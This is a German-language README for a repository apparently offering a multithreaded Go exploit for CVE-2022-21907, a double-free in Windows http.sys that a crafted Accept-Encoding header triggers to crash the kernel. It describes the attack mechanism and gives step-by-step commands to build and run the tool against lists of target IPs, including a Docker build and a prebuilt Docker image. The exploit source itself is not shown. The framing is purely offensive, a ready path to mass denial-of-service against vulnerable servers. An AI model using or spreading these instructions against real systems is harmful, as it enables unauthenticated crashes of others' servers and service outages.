iveresk/cve-2022-21907Mehrthreadiger Golang-Exploit für CVE-2022-21907, der einen Double-Free in http.sys über einen manipulierten Accept-Encoding-Header auslöst, um einen Kernel-Absturz auf verwundbaren Windows-Systemen zu verursachen.
CVE-2022-21907 - Double Free im http.sys-Treiber.
Dies ist eine multithreading Golang-Anwendung, die es ermöglicht, gleichzeitig Anfragen an mehrere Ziele zu stellen.
Sie ist bei POST-Anfragen nicht sehr effizient, bietet aber eine Geschwindigkeitssteigerung von fast 30% im Vergleich zu einer linearen Methode.
Ein nicht authentifizierter Angreifer kann eine HTTP-Anfrage mit einem "Accept-Encoding"-HTTP-Request-Header senden, der einen Double Free in der unbekannten Codierungsliste innerhalb des HTTP-Protokoll-Stacks (http.sys) auslöst, um Pakete zu verarbeiten, was zu einem Kernel-Absturz führt.
Golang:
Golang:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. go build cve-2022-21907.go -o /cve-2022-21907
4. chmod +x cve-2022-21907
5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
Lokaler Docker-Build:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. nano input.txt [input here your target's IPs in the list]
4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> .
[In Docker there is a default file named as "input.txt", but you may specify your own one]
5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Docker-Repository
docker pull masterrooot/cve-2022-21907:latest
docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Windows Server 2019 und Windows 10 Version 1809:
Sie können mich gerne über Keybase kontaktieren, wenn Sie weitere Details benötigen.